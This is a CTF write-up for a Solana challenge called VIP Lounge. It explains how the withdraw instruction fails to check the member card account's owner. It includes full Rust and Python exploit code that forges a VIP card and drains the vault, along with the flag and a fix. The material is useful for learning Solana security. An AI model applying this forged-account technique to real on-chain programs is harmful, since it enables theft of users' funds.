Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
BlockchainMedium

Vip Lounge Web3

CTF writeup for Vip Lounge Web3 from Wannagame

//VIP Lounge (Solana CTF)

Author: W1{...}

>TL;DR

  • Goal: Drain 10 SOL vault until the player reaches 5 SOL to get the flag.

  • Vulnerability: The withdraw instruction only checks deserialized MemberCard fields (member pubkey and is_vip flag) — it does not verify that the member_card account is actually owned by the VIP Lounge program (or that its PDA belongs to the same program). That allows an attacker to create a fake card account owned by their own program, mark it is_vip=true, and trigger the withdraw.

  • Exploit: Upload a small helper program that creates a PDA account (owned by that helper program), writes a valid serialized MemberCard { member, is_vip: true }, and then CPI-invokes withdraw on the target program with vault / fake-card / player accounts. Because withdraw only inspects the data, the check passes and funds are transferred.


>Vulnerability analysis (what's wrong?)

The key code is in program/src/processor.rs.

Comparing register_member to withdraw:

  • register_member expects the MEMBER PDA to be created by admin and owned by the VIP Lounge program. That flow uses Pubkey::create_program_address with seed ["MEMBER", member_pubkey], and sets its owner to the VIP program. So regular registrations are safe.

  • withdraw validates that the vault.owner == program (good) but does not validate the owner of the member_card account — it only deserializes the MemberCard struct from the member_card.data and checks:

  - card_data.member == signer pubkey

  - card_data.is_vip == true

Because the withdraw routine never checks member_card.owner or derives the PDA seeds to confirm the member_card is the program's PDA, an attacker can craft (or create) an account off-chain, owned by their own program, with serialized MemberCard data and the right is_vip flag and member field. withdraw will accept it without further owner checks and grant the funds.

This is the missing validation: you must ensure the member_card account is owned by the target program with the expected seeds.


>Exploit strategy

  • Create a small program (solve) which will:

  1. Derive a PDA under the solve program (we used a constant seed b"card"), or any account address that does not collide with the VIP Lounge program's PDAs.

  2. Create an account at that PDA address with system_instruction::create_account signed by player (the payer). The account will be owned by the helper program (i.e., our program). This is allowed because it's our own derived PDA.

  3. Serialize and write MemberCard { member: player_pubkey, is_vip: true, points: 0 } to that account data.

  4. Construct a withdraw instruction to the vip_lounge program ID with accounts: vault, our card, player.

  5. invoke the withdraw instruction from inside our helper program, passing the real vault (owned by the target program), our forged card, and our player account as the signer. withdraw reads the serialized member card data (our fake is_vip = true) and transfers funds to the player.

  • After this sequence completes, the player will have gained 5 SOL and the server will return the flag.

>Local testing setup

  1. Install the solana cli + SBPF toolchain (if not already installed):
bash

# e.g. as done during testing

sh -c "curl -sSfL https://release.anza.xyz/stable/install | bash" && export PATH="$HOME/.local/share/solana/install/active_release/bin:$PATH"
  1. Build program + helper + server artifacts:
bash

# build the challenge program (BPF)

cd program

cargo build-sbf

  

# build the solve helper program (BPF)

cd ../solve

cargo build-sbf

  

# place the built vip_lounge.so near the server so the server can load it

cd ..

cp program/target/deploy/vip_lounge.so server/

  

# start the server in background with local flag

cd server

nohup env FLAG='W1{local_test_flag}' PORT=31337 ./target/release/vip-lounge-server >> server.log 2>&1 &
  1. Run exploit (local):
bash

cd ..

./scripts/run_local_exploit.py

Local output will show a successful exploit and the flag W1{local_test_flag} if successful.


>Remote exploitation

We used the exact same steps for remote exploitation — the server accepts an uploaded program, returns game parameters (vault, player), and accepts an instruction to execute. The proof-of-concept script ./scripts/run_local_exploit.py supports --host and --port.

Command used for remote:

bash

./scripts/run_local_exploit.py --host challenge.cnsc.com.vn --port 30385

Remote output shows the final balance and the real flag:

FLAG: W1{vip_L0uNG3-Own3r_cH3ck_BypASs609f203c}

>Fix / Mitigation

To fix the vulnerability, the program should validate the owner and PDA seeds of the member_card argument in withdraw (and register_member should stay as-is). Check for example:

  • Use Pubkey::create_program_address (or find_program_address and provide bump) to derive the member PDA using the same seeds and verify member_card.key == expected_pda.

  • Check member_card.owner == program so it's guaranteed to be owned by and controlled by the vip_lounge program. This prevents outside programs from forging MemberCard data.

Additionally, always check ownership of sparse accounts when the program reads from the data field.


>Reproducer / Tools / Notes

  • solana-cli, cargo build-sbf & BPF toolchain were needed to compile the program and helper

  • Python script scripts/run_local_exploit.py does the automation of uploading the helper program, parsing the challenge parameters, deriving PDAs, and sending the exploit

  • The exploit used a helper program we wrote in solve/ and a small automation script in scripts/.


>Source code (helper & script)

solve main program (helper)

rust

// File: solve/src/lib.rs

// EXPLAINER: This program runs in the player's address-space and creates a fake member card owned

// by *this* helper program, sets is_vip=true, and invokes the vip_lounge::withdraw instruction.

  

#![deny(clippy::all)]

  

use borsh::BorshSerialize;

use solana_program::account_info::{next_account_info, AccountInfo};

use solana_program::entrypoint;

use solana_program::entrypoint::ProgramResult;

use solana_program::program::{invoke, invoke_signed};

use solana_program::program_error::ProgramError;

use solana_program::pubkey::Pubkey;

use solana_program::rent::Rent;

use solana_program::system_instruction;

use solana_program::sysvar::Sysvar;

use vip_lounge::{MemberCard, MEMBER_CARD_SIZE};

  

const CARD_SEED_PREFIX: &[u8] = b"card";

const TARGET_WITHDRAW: u64 = 5_000_000_000; // 5 SOL

  

entrypoint!(process_instruction);

  

pub fn process_instruction(

    program_id: &Pubkey,

    accounts: &[AccountInfo],

    _instruction_data: &[u8],

) -> ProgramResult {

    let account_iter = &mut accounts.iter();

  

    let player = next_account_info(account_iter)?;

    let card = next_account_info(account_iter)?;

    let vip_program = next_account_info(account_iter)?;

    let vault = next_account_info(account_iter)?;

    let system_program = next_account_info(account_iter)?;

  

    if !player.is_signer {

        return Err(ProgramError::MissingRequiredSignature);

    }

  

    // Use a constant PDA for the helper's card.

    let (expected_card, bump) = Pubkey::find_program_address(&[CARD_SEED_PREFIX], program_id);

  

    if *card.key != expected_card {

        return Err(ProgramError::InvalidSeeds);

    }

  

    if card.owner != program_id && card.lamports() > 0 {

        return Err(ProgramError::IllegalOwner);

    }

  

    if card.lamports() == 0 {

        let rent = Rent::get()?;

        let lamports = rent.minimum_balance(MEMBER_CARD_SIZE);

  

        invoke_signed(

            &system_instruction::create_account(

                player.key,

                card.key,

                lamports,

                MEMBER_CARD_SIZE as u64,

                program_id,

            ),

            &[player.clone(), card.clone(), system_program.clone()],

            &[&[CARD_SEED_PREFIX, &[bump]]],

        )?;

    }

  

    {

        let mut data = card.try_borrow_mut_data()?;

        let mut writer = &mut data[..];

        MemberCard {

            member: *player.key,

            is_vip: true,

            points: 0,

        }

        .serialize(&mut writer)?;

    }

  

    let withdraw_ix = vip_lounge::withdraw(

        *vip_program.key,

        *player.key,

        *card.key,

        TARGET_WITHDRAW,

    );

  

    invoke(

        &withdraw_ix,

        &[vault.clone(), card.clone(), player.clone()],

    )?;

  

    Ok(())

}

scripts/run_local_exploit.py (automated exploit)

python

#!/usr/bin/env python3

"""Upload the solver program and trigger the VIP Lounge exploit locally."""

  

from __future__ import annotations

  

import argparse

import hashlib

import json

import socket

from pathlib import Path

from typing import List, Optional, Tuple

  

import base58  # type: ignore

from nacl.bindings import crypto_core_ed25519_is_valid_point  # type: ignore

  

REPO_ROOT = Path(__file__).resolve().parents[1]

SOLVER_ARTIFACT = REPO_ROOT / "solve" / "target" / "deploy" / "solve.so"

SOLVER_KEYPAIR = REPO_ROOT / "solve" / "target" / "deploy" / "solve-keypair.json"

SYSTEM_PROGRAM = "11111111111111111111111111111111"

CARD_SEED = b"card"

  
  

def load_program_pubkey() -> str:

    raw = json.loads(SOLVER_KEYPAIR.read_text())

    if len(raw) < 64:

        raise ValueError("invalid keypair file")

    pubkey_bytes = bytes(raw[32:64])

    return base58.b58encode(pubkey_bytes).decode()

  
  

def create_program_address(seeds: List[bytes], program_bytes: bytes) -> bytes:

    if len(seeds) > 16:

        raise ValueError("too many seeds")

    for seed in seeds:

        if len(seed) > 32:

            raise ValueError("seed too long")

    data = b"".join(seeds) + program_bytes + b"ProgramDerivedAddress"

    candidate = hashlib.sha256(data).digest()

    if crypto_core_ed25519_is_valid_point(candidate):

        raise ValueError("produced on-curve address")

    return candidate

  
  

def find_program_address(program_id: str, base_seeds: List[bytes]) -> Tuple[str, int]:

    program_bytes = base58.b58decode(program_id)

    for bump in range(255, -1, -1):

        seeds = base_seeds + [bytes([bump])]

        try:

            addr = create_program_address(seeds, program_bytes)

            return base58.b58encode(addr).decode(), bump

        except ValueError:

            continue

    raise RuntimeError("failed to derive PDA")

  
  

def recv_line(sock: socket.socket, buffer: bytearray) -> Optional[str]:

    while True:

        newline_index = buffer.find(b"\n")

        if newline_index != -1:

            line = buffer[:newline_index]

            del buffer[: newline_index + 1]

            return line.decode(errors="ignore").rstrip("\r")

        chunk = sock.recv(4096)

        if not chunk:

            if buffer:

                line = buffer.decode(errors="ignore")

                buffer.clear()

                return line

            return None

        buffer.extend(chunk)

  
  

def send_line(sock: socket.socket, text: str) -> None:

    sock.sendall(text.encode() + b"\n")

  
  

def parse_args() -> argparse.Namespace:

    parser = argparse.ArgumentParser(description="Exploit the VIP Lounge challenge")

    parser.add_argument("--host", default="127.0.0.1", help="challenge host (default: 127.0.0.1)")

    parser.add_argument("--port", type=int, default=31337, help="challenge port (default: 31337)")

    return parser.parse_args()

  
  

def main() -> None:

    args = parse_args()

    solver_program_id = load_program_pubkey()

    solver_bytes = SOLVER_ARTIFACT.read_bytes()

  

    print(f"[*] Solver program: {solver_program_id}")

    print(f"[*] Artifact size: {len(solver_bytes)} bytes")

    print(f"[*] Target: {args.host}:{args.port}")

  

    with socket.create_connection((args.host, args.port)) as sock:

        buffer = bytearray()

  

        def drain_until(prompt: str) -> None:

            while True:

                line = recv_line(sock, buffer)

                if line is None:

                    raise RuntimeError("connection closed before prompt")

                print(line)

                if prompt in line:

                    return

  

        drain_until("program pubkey:")

        send_line(sock, solver_program_id)

  

        drain_until("program len:")

        send_line(sock, str(len(solver_bytes)))

        sock.sendall(solver_bytes)

        print("[*] Uploaded solve program")

  

        vip_program = None

        vault = None

        player = None

  

        while True:

            line = recv_line(sock, buffer)

            if line is None:

                raise RuntimeError("connection closed before instruction prompt")

            print(line)

            stripped = line.strip()

            if stripped.startswith("Program ID:"):

                vip_program = stripped.split(":", 1)[1].strip()

            elif stripped.startswith("Vault:"):

                vault = stripped.split(":", 1)[1].strip()

            elif stripped.startswith("Player:"):

                player = stripped.split(":", 1)[1].strip()

            if "num accounts:" in line:

                break

  

        if not (vip_program and vault and player):

            raise RuntimeError("missing challenge parameters")

  

        print(f"[*] VIP Program: {vip_program}")

        print(f"[*] Vault: {vault}")

        print(f"[*] Player: {player}")

  

        card_pubkey, _ = find_program_address(solver_program_id, [CARD_SEED])

        print(f"[*] Forged card PDA: {card_pubkey}")

  

        send_line(sock, "5")

        accounts = [

            ("ws", player),

            ("w", card_pubkey),

            ("-", vip_program),

            ("w", vault),

            ("-", SYSTEM_PROGRAM),

        ]

        for meta, pubkey in accounts:

            send_line(sock, f"{meta} {pubkey}")

  

        drain_until("ix len:")

        send_line(sock, "0")

  

        print("[*] Instruction submitted, awaiting result...")

        while True:

            line = recv_line(sock, buffer)

            if line is None:

                break

            print(line)

  

    print("[*] Connection closed")

  
  

if __name__ == "__main__":

    main()

Vulnerable code (for context): program/src/processor.rs

rust

// Function: withdraw (simplified, relevant lines)

fn withdraw(program: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {

    let account_iter = &mut accounts.iter();

    let vault = next_account_info(account_iter)?;

    let member_card = next_account_info(account_iter)?;

    let member = next_account_info(account_iter)?;

  

    // Member must sign

    if !member.is_signer {

        return Err(ProgramError::MissingRequiredSignature);

    }

  

    // Verify vault is a PDA owned by this program

    if vault.owner != program {

        return Err(ProgramError::IllegalOwner);

    }

  

    // Deserialize however the card is used

    let card_data = MemberCard::deserialize(&mut &(*member_card.data).borrow()[..])?;

  

    // Verify membership

    if card_data.member != *member.key { /* error */ }

  

    if !card_data.is_vip { /* error */ }

  

    // Transfer funds

}

>Notes / Final Message

  • This is an example of not checking account ownership when reading on-chain account data.

  • Always verify owner and PDA derivation when reading account data used for final authorization decisions.

If you want, I can add a PoC to do the same exploit in raw solana CLI commands, or implement the defense patch and show how that prevents the exploit.


>Acknowledgements

  • Challenge source in repo VIPLounge (contains program/, server/, and challenge/)

  • Solana tooling and sol-ctf-framework for running and testing locally